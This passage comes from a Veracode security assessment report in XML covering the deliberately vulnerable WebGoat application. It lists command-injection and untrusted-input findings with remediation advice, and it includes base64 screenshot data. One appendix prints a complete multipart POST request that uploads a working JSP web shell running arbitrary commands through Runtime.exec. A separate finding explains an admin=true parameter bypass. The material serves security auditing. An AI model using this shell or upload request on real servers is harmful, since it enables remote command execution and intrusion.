CBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAoUAAAJQCAYAAAD42h5IAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAP+lSURBVHhe7P1BiF3JtiUIHmXFAxe8gOuDB+6DX+Cv+AUuqAZpkBBe8Af6gwRFVRZIXRSEaJpCH3qgGHVo1KFBDvSabogoKIiYfVGDIt4gqyOgf1VoUjx9yKRd0AkS9Af5IKnnCZngDv+BX/gB8oL4vF5r7b3N9jn3nHvu9esuKV6cE+G6955jx2zb3tu2Ldu2zeza717+/o/NdL1TDjz79rvmzse3m/nZ+TulYyp84sDEgcvnwGx7q3n2/XNl/PjxZ835+dTOL5/LU44TB94tB7a2tponT74UEW+jPw+7cufe3Uut+LXPn3wxgcJLZen6mb16+bI5ODhoTk7m6788vTFxYOLAe82B3d1Zc3h4KBq/+eabCRS+19KaiJs4cDEOEBTev39fL7+N/jzsys1bty5G8MBb107O3kyg8FJZOmU2cWDiwMSBiQMTByYOTBz46XHgn/z0SJ4onjgwcWDiwMSBiQMTByYOTBy4bA5cyFP4BjEx52/wd/5mYSqELtStrevN1vWt5jq+T9fEgYkDEwcmDkwcmDgwcWDiwPvPgbVA4dnZvJnPz5q93b1mZ2c54Ds9PW+OT46b2Wy72d6evf+cmCicODBxYOLAxIGJAxMHJg78jDmwEigkGDw/P2v29/ebdX1/XGd39Oqo2ZrA4c9YzaaqTxyYODBxYOLAxIGJA+87B0ZB4cnJSbO7t9vsbDgVfIop55Nj5LW7+77zZKJv4sDEgYkDEwcmDqzMgf/8X/3XK6edEg5z4P/zF//TxJ53zIGloPDk+Li5eXO/ReK6O2x1PYsv4DXceUvAcFlMI+Mij7AVzMl8/o5FMBU/cWDiwMSBiQM/ZQ7833/5P/yUyX9vaP+//fDfvje0/FwJGQSFXUC4LhjsMjSDw6OjY3gf966U59wglsBvCBi+xL5hBwe3sChm3Qnxi5M9BwDd2dm5eAbTmxMHJg5MHJg48N5x4D/5m//yvaPpp0jQ//bP/+efItl/UjT3bknDKePsIdwUEJJjOY/9/T1s1Hx6pYwcA3v0EM5mM4HCt/V3pRWeMp84MHFg4sDEgYkDEwcmDmzAgQVQyEUlu9s17k8nMl3SXz7daXt3pzm74qlbbpuz7KI38W3+vXnzZgNRTa9OHJg4MHFg4sDEgYkDEweujgPXft850YTbyNzGKmN591Z0ET59+rTZ2r7e3L/7yUqUxoztq5WnkTMhq033MtUxvJGzge1wnj171jy4e2clei8rET2we1c8bX5ZtE75TByYODBxYOLAahzomz6epkKX827i2Wq69bZTtTyFc3gJb+21F5aMEfT48ePm8ZdfNo8eP2m+/toOg1714jTy2ZzTyMtdkccAj6+PjlK2Y67L9nT1qvTkdARwT59+Uw645kHX/DvG4hv+xW++w+9My3ema+LAxIGJAxMHJg5MHJg48FPkQMtTSLBzG6uNBblW8BISED57/hyribloBKt5AdyOX79eiQ/0FtKb9wLvLPOeERC+fPlKNO1hyvng9sFK+TN3xi1e1FP49ddfN3fu3m324dnjFPNQjGI8OwLvnn33XfPw4cNB+iZP4Yqim5JNHJg4MHHgJ8SByeu1vrAmnq3Ps7fxRvEUEtzsCtytdgUg5Okm13GsHVHk488+W+3llGoHoIurhIcued9wZB7BHReHHGLVcFm1sgJwXZsgf+Hs7LwAQt4aij2MZwSPfGe6Jg5MHJg4MHFg4sDEgYkDP0UOVFCIRRm7M6/CCLYpgBBAaGt2HaDurLn/yd3mwYMHq/PAy9h2wDX04sHBQbO7s9vgNOVmG6uFT04BDOE5vOrryZPPF851XlYmQSPfeZ+va9euNfxb91r2zkXyi/KH3h3Lc6gel3U/09dHy6r3Mp/H6sS0Qf8qadeV4bq0bJJ/991lcu6T2dviw2XVcUgfuvdzvfKzofqukn6ojL66LaNniBer1u2yeHnV+SzTrauwH5vW56K24KLvbUrv9P5PnwP/JML5zudvALtsEccyTJgB4WyLkK5pHty/39y/vwYgTGVwWvb8DKtyh8IEkfbg1k1sHwNvJK7tLQLDk+bwuQPDsfDCoecjC4EfP/7N2tK9yDtrF3LBF2gk/vjHP+rvXV/rGt8uoIl6dDvWy7gfZQW/3havsnxYj02N+jIgNqYDfeDhKvgQ8sr1vWw+XAXdWUeGQFOfLub6Zrr6+BDPV3mnq7Nd/Rlqb8vKZZ7r1O0q+XyZeQ/VOevdJnalK9dN2/FF6z7WxlfN913Rvyp9U7rL50BdaKK4uQCE/Ujq8eNHiiHc27uB6dztZgvTuvz77bffYiPov2z2b91q9m7c0N/u3q+bfXzev3/PIeBinrxDGEovW1zcReY5yvgWq4O/f/Zcf8+fHyrGcYv+QkxVCxjOAQwPl3kMp6ncy1eXy8lxCJy+L6B1mWGPzqOv47god/oA6GUZ9YvS9L689z7z4aL6+rYHHBelcx0dmMDDOLcmHo3zaErx7jlQQGFxnA141p5+/bR59uxQcXazbdvwmYiOAI3H1t2EN49Tvbc/ut0cfHSA7x81e9ja5hjnHS9dXLzAg3PE5s2VP08juT7zFSmRjj8DGCLe8DUWolzFdZGp4Iu8MzQaz6P/VT1rkVc3/bL7Y3kP0Tf2XpZJLv8isvqpGdMh3rDuy54t40281+fFW1Xe3fz78uzqSp/uDNGS6zcks2XeJ76/zEs6Rm+3zQzVd0g330c9W6edXaRtDb0zBFxDPsuA7Zi92VQufW3gMut+WXmN8WhMtkP17Gvvy3gyJI+xeg61/Wjn+TO3vW77eh/b1Vjdf87PW1vS0Bs39HeGB7NdeAfpISRYo99Op4HQc7eNeD/+zZptLAjhohB6EnkPrsTBPKMsegfjj8Kg9zHyDu+g3JixwaEDQ6Yj4szva7/qS3ASvnixftziRd4ZAwKrTHd0G2F36iq8LdljEAZrbMq166npvjdWdjYWl+H1WaVTyjStmz4M3UVpzfzpM9R9/O4zovndZbLq048+effVa5V3+/JaRSf7+NfXSfbd6wOGq+hdrmPfFOoQ74dklkHoMiB8GR1I5J/5NsTnofsXoaOv3FVt0rLOvsvTZTxeVy5j9PXJrQ+IXrSNr8rnZQOcTdtQ164tK2usXQzxa1U7MjawGKNtVX5O6d4OBwooZMSepnMtrHDh+vTBw+bg5s2mnBLiwIzewnMsNDnDdO4ZtoA5Oztt5vDgzc9wD7F/N28M73sY09UWLViv7dmupop1yVFo0Y72ZwSen7/RApS9vn0VB+qwDku///7ZOsmV9iLvDHVeY4UPNbSrNnRjdA2NfjehK7+7DHT10bZu+r48lhm1IaDT12GuwoPoLMb4nJ8P8XyVPC767rrv9fFpGX3rdCRdvg7Rtq5u5o47f1+Fr+umGQJG6+azbvq+codk1b3fBSa57K5Mlun+unIZ05s+ua3Ll8tKv4xH67Yh0rQOX5fJI55dRMdXsWOR/0XqeFm8n/K5GAeqp5ALPubmYhsCho8fPa779slXaOjr7p17zddffNE8/for/X2DE06+xd8zxBp+ift9V5ShMlsFbtlUdPzduInYxH15D8uFV2bwQvJ+77Wip3DZEXfwXV6Ao29Gj827QKaDr6zTcV5muasa5bdV5mWWsy546Sv7qgFELjOD3mV8WOalW8fIs4xVy1xFLsvKvqh+D/H/bcplqO6XoV+r8HXTNLkzX+YRXFd33nV7yfq7KY9Wfb+PR5fZhlal412kex/a3Luo90+5zAIKOQ18gli+sevRo8+afXjozuAdpDOPYO3pd98g3vB57zTx2FTu2dmJpqC7FyFZ/L3CFjTzN0ZbbBZ969awB/IicK5bPldZr3td5B2WsWw0uS4Nl51+bIrossvry28ZDW+j/CyjMPAhs8vqFN+HOl4lL4cAXrfe7xMf+qbV3if6rkpe3Y58zMt3VXSskm+f/vTJLfJ6F6D8ojpz0fdW4VvmxzJ+rZvXOumntO8nB/5JCcGDt+4E5x7b760CyDI403ck+BTAcA+LSzhFzAldnkjyzbffNN9iynUhfQJ3+RnLYFk8n5iewoH1Lc0LnWbCN5nGThahh5D7RA+9Q1bzjaHnqzgSnzx5srbELvLOskIyWOwas2jIQ1NnY8ZvWd5j00JDZXfzHKpb1wsRxm/ofs5niLbLur+20DsvLONBNr5900BDz1eV1RCfhuqU8132bjfdKu/1dWireP6G6rqqbg2lW/X9Lh8yQIrv3Q6Vv7PurjvIG5L7uveHyh1rb2O2Iurb5WH2duUy1mlDF5XLMhu0TGZZVllHr8J+ZBov0oYuY8A5Jos+XuVyh9p6n06M2bQxWqbn7wcHqqcQHr8AUZrNXRKXJ2CI49x2sJhkDk8fr11sU/P06der1UrxiBW0taaGOznwaDsSxrhFTlcPThmvVvLKqa6jbjy2b9WLafnORa9uh5MbXd+zi6Tv0pYNwtAz3u9r7HFv6FnXsIx1tlFO10iNld+X77K6LEs/1jn21bVP3n187avXReTR11EMyTHuL6vX2LtdPVxVL4fkvwoPx2hapltdPRrSu1yPbppV2/Ay8LGsfa4q93X4MCSnsXY1ROcy/izT76H2uozHQ/mt8k5fecvkt6wdjtnUVe3KWJtZtQ116zbWdjZpc6vwbIjXmW+r9Aertq8p3bvhQGv1MY+5e/3KVt0yYnDZlYEhj6J7g4Um9+7dXakWkTfLGjtaj9vd0BPJ4/QICItnc6WSLp7ozp07mhIP7x8/+Ufwx7/4zRL4nWn5znT9dDnQB7h+urWplP+p1utPQTZTHSYOTByYOPA+ceDa65M3rSMuDrFx9Md37wgSchuasZhArv/49tvv5MX7+N4dTS8vu5hep5gg0ffYoPrg4PYoPwKerjLty8yUHv+cnsy1PU7f9RxT3ffvDZetfRj9ijjGvny6z/JG3N30BM/72Lvxqq4xT9dVlTvlO3Fg4sDEgZ8zB/6Tv/kvF6r/v/3z//nnzJLRuk88G2XRO0nQ8hSSghs3bzXPD5+LGOxIuHQamWkIAukhXAUQKjsHWyzjxv6tlSr9tryDmZi8Mpn3h1Yqd5+tVKErSjR5hK6IsVO2EwcmDkwcmDgwceBnwIEFUEjP2hZQ2BGnkQHiNNW7fCa5tfH0IM88L2bFvGfn1xGTiLLw+7L/gobs7fsZyHKq4sSBiQMTByYOTByYODBx4MIcWACFzGn/1kHz8vgYq5FPtSBkFY/hMgo4Zcw8cCKe8nzNadSDm5ePBhO6nHN58pJre3eGjbZXnZC+MH+nFycOTByYODBxYOLAxIGJAz8JDizEFGaqn2GbmZuY4r1FAIeLIYbYnnk0zrDkEd5B9zQ+Q7ziS3gJb9++2gUZ4SHcxSKVoYsnsxwdvcQpLPOfhKAmIicOTByYODBx4P3kwH/3q/9hgbD/69//t+8nse8JVRPP3hNBdMhYCgqZ9pDxhXAXfowFIeUUEjnYbPfAhYUoAoK8eC6ylUYw+T3zwefBwcH7yYmJqokDEwcmDkwcmDhwAQ78F//f//oCb02vdDnwv/zT/2liyjvmQO/0caaJq4N3ceLIV19/2bw85EbStscgvXHb/JvhlGJ88o/feY/PYh9CvsN3t7e2J0D4joU9FT9xYOLAxIGJAxMHJg5MHBjiwKinML94eHjYHL980exiv8BbN29q8+rrCBTMHsE353NsBXPWvMRJJCfHR83erY8mMDjp38SBiQMTByYO/MlyYPIUXo5oJ0/h5fBxk1yuvf59e5/CVTI7OT1ujl4fN3NsWP3m7BTTw3baMM8wvr6908xmu9hoeq/Z3dlbJbspzcSBiQMTByYOTBz4yXLgv/i7afr4MoT3v/xn0/TxZfBxkzyuvfz9WWvz6k0ym96dODBxYOLAxIGJAz83Dvwf/+7/9HOr8pXU9//1n/2PV5LvlOnqHJhA4eq8mlJOHJg4MHFg4sDEgYkDEwf+ZDlw7Ztvvpk8hX+y4p0qNnFg4sDEgYkDEwcmDkwcWI0D13A02nsJCnW0Hfay0UpmfJ9zXxusfZ5xB2xbA60anus/bYDTqvGyQ1jq26sxaUo1cWDiwMSBiQMTByYOTBz4U+fA6JY075IB+Zg6HVYCgBggsG6QaHCw3n+XFE9lTxyYODBxYOLAxIGJAxMHfpoceG89hcvZuejrswPr6v3JU/j2FPLatWvNVTqcc/6XXdZl50euX0Web0+a4yVdRB7LeLIJv/gur6vQv8umeZN6jktlSjFxYOLAxIHNOfBeewo5Y8xpY04jty/zDeqolNaRKsug4ObMuuoc2GnE3yplRYe4StrLTNMt9yo65CF6Ny3rbdC+KY3ryOpd6MDbrN8yXgTIuix61uHlZZW5jqyntBMHJg5MHLhqDrzXoJCAj5PDeRq5gkGPKZyfAzjOPbJwNXa9r9AxOpqpw1lNjlOqiQMTByYOTByYODBx4PI48N5OH8s7iP+3cHQer/PTuZ2covPz5vgyw/91sUk5f89SLyw8uTyWXW1O3SmmIc/WKvczuIx883TbmNcsP4+8+t5ZRnOXhsy9LvjtK4/ph6Yrl9H/tmnP9VqVH9131uXNmPwiv1X42uVz/I48+nRp3XeG6neZ/Bqr69B085BeXzbNQ+1hnbYwJJOx+3w+DTiv1n5PuU8c+Klz4L0FhYWxAIbPnn3XfPP0qaaLt2ez5ujoqHnw8GHz0cFBs4fj9uxKK5J91fJPUTh9HeQ6HfKytN1OYaysIaCz7L2LPuvKahkQ7OvYuuW+j7Qv08eL8m1ZvfvKG+JrH8BbhYeXzfeL6uQQQO0OZpaBorGy19XJVXW6S/sQT1e9f1EZ/xTt5UTzxIGJA5fLgfd2+rjEEdIxiLOUj4+Om+vw/93c39ff40ePmu+++aY5xf12XGH31+Uy7H3PjR1C/HVpXddLsCyvq+DDRcvr6ywvmtdV1esq8l01zyFeUB/CQ3ZZPLwMvl9GHn28WVf/V+VvgLp10sc7Q22167mMvIfur1v2lH7iwMSBiQN9HHhvQWGJI4QD8PjkuLn90UFzE17B58+eN/sAhZ/BU/j066+bl69etFAg4wtnmmf+eV7s+PLfRbkQICHyumg+q7530fKGwMxl8GBV2pelCzqGOv/LKGNZHpvydR35X7SsvsHL+yK/VeRzURkPtdWh/C5azip1mNJMHJg4MHGAHFgZFIbnjp+Lq4GvkpnYsPr6dnN0TI9go6njVy9eCQjevn27+frJF/AiHhUCuLm1bWd9tdcQD3h/Pp9fbeEr5v6n7lVYd+p0RbZdSbKr9FJtQnB4C99X+n5KOrwJD/vqOZTfJuVsoivTuxMHJg786XNgZVAYnjudMPI2PXHAd3t7ewB+r22TaoCuly8PmxOAxIObB83x8ZE8hliC/FalFTwIkBwgkfdniHu8yJWn8lZ5Pzr0eC//3hQwdfPK9HTLHXq2Dg3LylvGi76pxrdN+6r0XbQzXybXZbIgXRfl60XeG3sny2oZ4FklXR/PN9X/MV4Oyfki9C6jdSi/ofub1nsVWzOlmTgwceDnwYGVQeE7YwdA1g1MF/PinoWcQqYn7sXLV82b+Vlz//6D5iliC18AKFoarFLuHHl3lbQHSL4MoNw3ZdbtPPt+53tD0259nfCqeUeeXfAX7w/RtEr+fXl2y+vWL97JdV1GwzKeXRbt3Xr00bhMD1fhVZ8cAvgtA5zL+BTvD4GsMZ1cle9jshrSg3V4lnkxxs+hfDOPl+WxSpvrlrGOri1rc0NteeidId28Srs45T1xYOLAT5MDK4PC7BG7qunjBV+f39iBp3CX3kJ4BTllzJOOT05PmueHz5s7+L03222++vJr7FRDQPh2ri4/uh7Dt0PFVMrEgY